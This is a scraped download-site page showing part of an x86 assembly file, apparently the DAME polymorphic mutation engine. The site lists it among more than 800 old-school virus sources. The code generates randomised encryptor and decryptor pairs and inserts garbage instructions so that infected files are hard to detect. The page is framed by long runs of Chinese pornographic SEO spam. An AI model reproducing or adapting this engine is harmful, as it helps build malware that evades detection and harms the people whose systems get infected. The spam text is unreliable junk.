亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? dame091.asm

?? More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
?? ASM
?? 第 1 頁 / 共 5 頁
字號:
        call    handle_jmp_table                ; Encode decryption routine
        push    bx                              ; Save routine that was used
        call    twogarble                       ; Garble some more for fun

        test    ch,4
        jz      not_double_reference2           ; Double reference?

        xchg    ax,dx                           ; reg1 to dx
        mov     ax,_kludge                      ; Restore pointer
        push    ax                              ; Save pointer
        call    mov_reg_reg                     ; MOV [pointer],reg1
        call    clear_reg_dx                    ; Return reg1 to free pool
        pop     ax                              ; Restore pointer
not_double_reference2:
        mov     bp,offset _encrypt_relocate_num ; Set the registers to work
        call    swap_decrypt_encrypt            ; with the encryption routine

        pop     bx dx si                        ; Restore crypt value/register
        call    go_next                         ; Convert to encryption table
        jmp     short finish_encryption         ; and encode the encryption
                                                ; corresponding to the
                                                ; decryption
do_encrypt1:                                    ; Perform encryption on a word
        call    playencrypt                     ; Alter encryption value
        call    get_rand                        ; Have a tiny chance
        cmp     ax,6                            ; (1% chance) of not
        jb      playencrypt                     ; encrypting at all
        call    encryption                      ; Encrypt!
playencrypt:                                    ; Update the encryption value
        mov     di,_decryptpointer
        call    twogarble

        mov     al,_encrypt_reg                 ; Encryption register used?
        and     ax,7
        cmp     al,4
        jz      swap_decrypt_encrypt

        call    get_rand_bx                     ; 75% chance of altering the
        cmp     bl,0c0                          ; encryption value register
        ja      swap_decrypt_encrypt            ; Exit if nothing is to occur

        call    choose_routine                  ; Select a method of updating
        call    handle_jmp_table_nogarble       ; Encode the decryption
        call    swap_decrypt_encrypt            ; Now work on encryption
finish_encryption:
        push    cx                              ; Save current bitmask
        and     cl,not 7                        ; Turn off garbling/mo routines
        call    [bx+si+1]                       ; Encode the same routine for
                                                ; the encryption
        pop     cx                              ; Restore the bitmask
        mov     _encryptpointer,di
        ret

choose_routine:
        mov     _nest,0                         ; Reset recursion counter
        call    one_in_two                      ; 50% chance of using an
        js      get_used_register               ; already used register as
                                                ; an update value
        call    get_rand_bx                     ; Get random number as the
                                                ; update value
        mov     si,offset oneregtable           ; Choose the update routine
                                                ; from this table
        jmp     short continue_choose_routine   ; Saves one byte over
                                                ; xchg dx,bx / ret
get_used_register:
; This routine returns, in DX, a register whose value is known at the current
; point in the encryption/decryption routines. SI is loaded with the offset
; of the appropriate table. The routine destroys BX.
        call    get_rand_bx                     ; Get a random number
        and     bx,7                            ; Convert to a register (0-7)
        cmp     bl,_sp                          ; Make sure it isn't SP; that
        jz      get_used_register               ; is always considered used
        cmp     byte ptr [bx+_used_regs],0      ; Check if the register is
        jz      get_used_register               ; currently in use
        mov     si,offset tworegtable           ; Use routine from this table
continue_choose_routine:
        xchg    dx,bx                           ; Move value to dx
        ret                                     ; and quit

swap_decrypt_encrypt:
        mov     _decryptpointer,di              ; save current pointer
        push    ax
        mov     al,_maxnest                     ; disable garbling
        mov     _nest,al
        pop     ax
        mov     di,_encryptpointer              ; replace with encryption
        ret                                     ; pointer

go_next:
; Upon entry, SI points to a dispatch table.  This routine calculates the
; address of the next table and sets SI to that value.
        push    ax
        lodsb                                   ; Get mask byte
        cbw                                     ; Convert it to a word
        add     si,ax                           ; Add it to the current 
        pop     ax                              ; location (table+1)
        inc     si                              ; Add two more to adjust
        inc     si                              ; for the mask
        ret                                     ; (mask = size - 3)

clear_used_regs:
        xor     ax,ax                           ; Mark registers unused
        mov     di,offset _used_regs            ; Alter _used_regs table
        stosw
        stosw
        inc     ax                              ; Mark SP used
        stosw
        dec     ax
        stosw
        ret

get_another:                                    ; Get an unused register
        call    get_rand                        ; Get a random number
        and     ax,7                            ; convert to a register
;        cmp     al,_sp
;        jz      get_another
        mov     si,ax
        cmp     [si+_used_regs],0               ; Check if used already
        jnz     get_another                     ; Yes, try again
        inc     [si+_used_regs]                 ; Otherwise mark the register
        ret                                     ; used and return

clear_reg_dx:                                   ; Mark the register in DX
        xchg    ax,dx                           ; unused
clear_reg:                                      ; Mark the register in AX
        mov     si,ax                           ; unused
        mov     byte ptr [si+_used_regs],0
        ret

free_regs:
; This checks for any free registers and sets the zero flag if there are.
        push    ax cx di
        mov     di,offset _used_regs
        mov     cx,8
        xor     ax,ax
        repne   scasb
        pop     di cx ax
        ret

one_in_two:                                     ; Gives 50% chance of
        push    ax                              ; something happening
        call    get_rand                        ; Get a random number
        or      ax,ax                           ; Sign flag set 50% of the
        pop     ax                              ; time
        ret

get_rand_bx:                                    ; Get a random number to BX
        xchg    ax,bx                           ; Save AX
        call    get_rand                        ; Get a random number
        xchg    ax,bx                           ; Restore AX, set BX to the
return:                                         ; random number
        ret

garble_onebyte:
; Encode a single byte that doesn't do very much, i.e. sti, int 3, etc.
        xchg    ax,dx                           ; Get the random number in AX
        and     al,7                            ; Convert to table offset
        mov     bx,offset onebytetable          ; Table of random bytes
        xlat                                    ; Get the byte
        stosb                                   ; and encode it
        ret

garble_jmpcond:
; Encode a random short conditional or unconditional JMP instruction.  The
; target of the JMP is an unspecified distance away.  Valid instructions
; take up the space between the JMP and the target.
        xchg    ax,dx                           ; Random number to AX
        and     ax,0f                           ; Convert to a random JMP
        or      al,70                           ; instruction
        stosw                                   ; Encode it
        push    di                              ; Save current location
        call    garble  ; May need to check if too large
        mov     ax,di                           ; Get current location
        pop     bx                              ; Restore pointer to the JMP
        sub     ax,bx                           ; Calculate the offset
        mov     byte ptr [bx-1], al             ; Put it in the conditional
        ret                                     ; JMP

clear_PIQ:
; Encode instructions that clear the prefetch instruction queue.
;   CALL/POP
;   JMP SHORT
;   JMP
        call    get_rand                        ; Get a random number
        mov     dl,ah                           ; Put high byte in DL
        and     dx,0f                           ; Adjust so JMP target is
                                                ; between 0 and 15 bytes away
        and     ax,3                            ; Mask AX
        jz      clear_PIQ_call_pop              ; 1/4 chance of CALL/POP
        dec     ax
        jz      clear_PIQ_jmp_short             ; 1/4 chance of JMP SHORT

        mov     al,0e9                          ; Otherwise do a straight JMP
clear_PIQ_word:                                 ; Handler if offset is a word
        stosb                                   ; Store the JMP or CALL
        xchg    ax,dx                           ; Offset to AX
        stosw                                   ; Encode it
clear_PIQ_byte:                                 ; Encode AX random bytes
        push    cx
        xchg    ax,cx                           ; Offset to CX
        jcxz    random_encode_done              ; Exit if no bytes in between
random_encode_loop:
        call    get_rand                        ; Get a random number
        stosb                                   ; Store it and then do this
        loop    random_encode_loop              ; again
random_encode_done:
        pop     cx
        ret

clear_PIQ_jmp_short:
        mov     al,0ebh                         ; JMP SHORT
        stosb                                   ; Encode the instruction
        xchg    ax,dx
        stosb                                   ; and the offset
        jmp     short clear_PIQ_byte            ; Encode intervening bytes

clear_PIQ_call_pop:
        mov     al,0e8                          ; CALL
        call    clear_PIQ_word                  ; Encode instruction, garbage
        call    garble                          ; Garble some and then find
        call    get_another                     ; an unused register
        call    clear_reg                       ; keep it unused
        jmp     short _pop                      ; and POP into it

twogarble:                                      ; Garble twice
        mov     _nest,0                         ; Reset nest count
        call    garble                          ; Garble once
garble: ; ax, dx preserved                      ; Garble
        call    free_regs                       ; Are there any unused
        jne     return                          ; registers?

        test    cl,2                            ; Is garbling enabled?
        jz      return                          ; Exit if not

        push    ax dx si

        call    get_rand                        ; Get a random number into
        xchg    ax,dx                           ; DX
        call    get_another                     ; And a random reg into AX
        call    clear_reg                       ; Don't mark register as used

        mov     si,offset garbletable           ; Garble away
        jmp     short handle_jmp_table_nopush

handle_jmp_table: ; ax,dx preserved             ; This is the master dispatch
        call    garble                          ; Garble before encoding
handle_jmp_table_nogarble:                      ; Encode it
        push    ax dx si
handle_jmp_table_nopush:
        push    ax
        lodsb                                   ; Get table mask
        cbw                                     ; Clear high byte
        call    get_rand_bx                     ; Get random number
        and     bx,ax                           ; Get random routine
        pop     ax

        test    cl,4                            ; Short decryptor?
        jnz     doshort                         ; If so, use first routine

        inc     _nest                           ; Update nest count
        push    ax
        mov     al,_maxnest
        cmp     _nest,al                        ; Are we too far?
        pop     ax
        jb      not_max_nest                    ; If so, then use the first
doshort:xor     bx,bx                           ; routine in the table
not_max_nest:
        push    bx                              ; Save routine to be called
        call    [bx+si]                         ; Call the routine
        pop     bx si dx ax
        ret

garble_tworeg:
; Garble unused register with the contents of a random register.
        mov     si,offset tworegtable           ; Use reg_reg table
        and     dx,7                            ; Convert to random register #
        jmp     short handle_jmp_table_nogarble ; Garble away

garble_onereg:
; Garble unused register with a random value (DX).
        mov     si,offset oneregtable           ; Point to the table
        jmp     short handle_jmp_table_nogarble ; and garble

_push:                                          ; Encode a PUSH
        or      al,al                           ; PUSHing memory register?
        js      _push_mem
        call    one_in_two                      ; 1/2 chance of two-byte PUSH
        js      _push_mem
        add     al,50                           ; otherwise it's really easy
        stosb
        ret
_push_mem:
        add     ax,0ff30
        jmp     short go_mod_xxx_rm1

_pop:                                           ; Encode a POP
        or      al,al                           ; POPing a memory register?
        js      _pop_mem
        call    one_in_two                      ; 1/2 chance of two-byte POP
        js      _pop_mem
        add     al,58
        stosb
        ret
_pop_mem:
        mov     ah,8f
go_mod_xxx_rm1:
        jmp     mod_xxx_rm

mov_reg_xxxx: ; ax and dx preserved
        mov     si,offset mov_reg_xxxx_table
go_handle_jmp_table1:

?? 快捷鍵說明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
一区二区三区精品久久久| 国产三级欧美三级日产三级99 | 久久99精品久久久| 欧美成人女星排名| 国产综合色视频| 欧美国产视频在线| 99久久99久久精品国产片果冻 | 国产成人亚洲综合色影视| 国产欧美一区二区精品秋霞影院| 成人综合在线观看| 中文字幕一区免费在线观看 | 丁香激情综合国产| 一区2区3区在线看| 欧美一卡在线观看| 成人黄色小视频| 亚洲影视在线观看| 欧美电影免费观看完整版| 国产成人aaaa| 亚洲电影在线免费观看| 2023国产精品自拍| av男人天堂一区| 日韩精品一二三四| 欧美高清在线精品一区| 欧美精品一卡两卡| 成人中文字幕合集| 亚洲第一在线综合网站| 国产欧美精品一区aⅴ影院| 日本丶国产丶欧美色综合| 蜜乳av一区二区| 中文字幕一区二区三区在线播放| 欧美三级电影网| 国产精品一卡二卡在线观看| 亚洲精品视频自拍| 精品国产sm最大网站免费看| 97超碰欧美中文字幕| 奇米亚洲午夜久久精品| 亚洲欧洲成人自拍| 日韩免费电影一区| 欧美在线视频日韩| 国产成人免费高清| 免费观看91视频大全| 最新久久zyz资源站| 精品国产制服丝袜高跟| 欧美午夜精品一区二区三区| 成人性生交大片免费看在线播放 | 国产精品69毛片高清亚洲| 国产精品久久久久久久裸模 | 色综合久久六月婷婷中文字幕| 亚洲激情图片qvod| 国产亚洲精品免费| 这里只有精品电影| 日本福利一区二区| 国产91富婆露脸刺激对白| 麻豆高清免费国产一区| 亚洲综合视频在线| 亚洲男人的天堂在线aⅴ视频| 久久嫩草精品久久久精品| 欧美日韩不卡视频| 欧美在线你懂得| 在线视频观看一区| 99国内精品久久| 成人美女视频在线观看18| 国产一区福利在线| 视频在线在亚洲| 亚洲国产一区二区三区青草影视| 亚洲色图一区二区| 国产精品剧情在线亚洲| 国产午夜亚洲精品不卡| 久久日韩精品一区二区五区| 日韩女优视频免费观看| 日韩一区二区三区视频在线观看 | 国内国产精品久久| 极品少妇一区二区| 久久精品72免费观看| 奇米色777欧美一区二区| 香港成人在线视频| 丝袜美腿亚洲一区二区图片| 天天色天天操综合| 视频在线观看一区| 卡一卡二国产精品 | 亚洲成人一区在线| 亚洲h在线观看| 蜜桃一区二区三区在线| 日韩av在线播放中文字幕| 日本亚洲天堂网| 国内精品第一页| 高清国产一区二区| 92精品国产成人观看免费| 91麻豆6部合集magnet| 色综合色综合色综合色综合色综合 | 成人黄色小视频| 91一区一区三区| 欧美色手机在线观看| 7777精品伊人久久久大香线蕉超级流畅| 欧美色图免费看| 欧美videos中文字幕| 久久精品亚洲麻豆av一区二区| 国产午夜精品一区二区| 亚洲免费资源在线播放| 日韩精品成人一区二区三区| 久久er精品视频| 成人激情文学综合网| 欧美主播一区二区三区| 欧美一级生活片| 欧美国产一区二区| 亚洲成人免费影院| 精品一区二区日韩| 91麻豆高清视频| 日韩欧美在线影院| 中文字幕制服丝袜一区二区三区| 亚洲国产精品久久人人爱| 久久国产人妖系列| 91在线云播放| 精品久久久久久久久久久久包黑料| 国产免费成人在线视频| 一区二区三区资源| 久久精品国产精品亚洲综合| 成人18精品视频| 欧美一区二区精品久久911| 国产精品久久三| 日韩国产精品久久久久久亚洲| 粉嫩13p一区二区三区| 色先锋aa成人| 久久久天堂av| 午夜激情久久久| 91啪九色porn原创视频在线观看| 日韩情涩欧美日韩视频| 亚洲精选一二三| 国产成人精品网址| 日韩一区二区三区视频| 亚洲男同1069视频| 成人综合激情网| 久久久亚洲精品一区二区三区| 亚洲国产美女搞黄色| 春色校园综合激情亚洲| 日韩欧美卡一卡二| 天天综合色天天综合| 91首页免费视频| 国产精品乱码一区二三区小蝌蚪| 久久黄色级2电影| 91精品国产全国免费观看| 亚洲欧美日韩中文字幕一区二区三区| 国产一区在线精品| 精品久久国产老人久久综合| 日韩在线一区二区| 在线观看视频一区二区欧美日韩| 国产精品久久久久久久蜜臀 | 欧美一级欧美三级在线观看| 亚洲另类春色国产| 91网站在线播放| 国产精品久久毛片av大全日韩| 国产福利不卡视频| 欧美变态口味重另类| 日韩精品欧美精品| 欧美人与性动xxxx| 日日夜夜精品视频天天综合网| 日本道免费精品一区二区三区| 亚洲男人电影天堂| 色婷婷综合久久久久中文一区二区 | 久久综合网色—综合色88| 视频在线在亚洲| 91精品国产色综合久久| 日韩在线观看一区二区| 538prom精品视频线放| 日韩av不卡在线观看| 在线观看91av| 欧美aaaaaa午夜精品| 日韩欧美亚洲国产另类| 精品无人码麻豆乱码1区2区| 精品久久一区二区| 国产麻豆91精品| 国产欧美精品区一区二区三区| 国产suv一区二区三区88区| 国产精品美女久久久久高潮| 99精品欧美一区二区蜜桃免费 | 欧美成人一级视频| 国产真实乱子伦精品视频| 2021中文字幕一区亚洲| 国产一区亚洲一区| 国产精品美女久久久久aⅴ| 成人白浆超碰人人人人| 亚洲人成网站影音先锋播放| 在线精品国精品国产尤物884a | 久草中文综合在线| 国产偷v国产偷v亚洲高清| 99久久精品国产观看| 亚洲精品国产精华液| 在线成人小视频| 国产一区二区三区电影在线观看| 中文字幕第一区第二区| 色婷婷激情综合| 蜜桃精品在线观看| 国产精品久久久久久久岛一牛影视 | 91麻豆精品国产| 国产精品一区二区无线| 亚洲日本护士毛茸茸| 7777精品伊人久久久大香线蕉的| 国产精品一区二区三区乱码| 亚洲另类色综合网站| 精品日韩一区二区三区免费视频|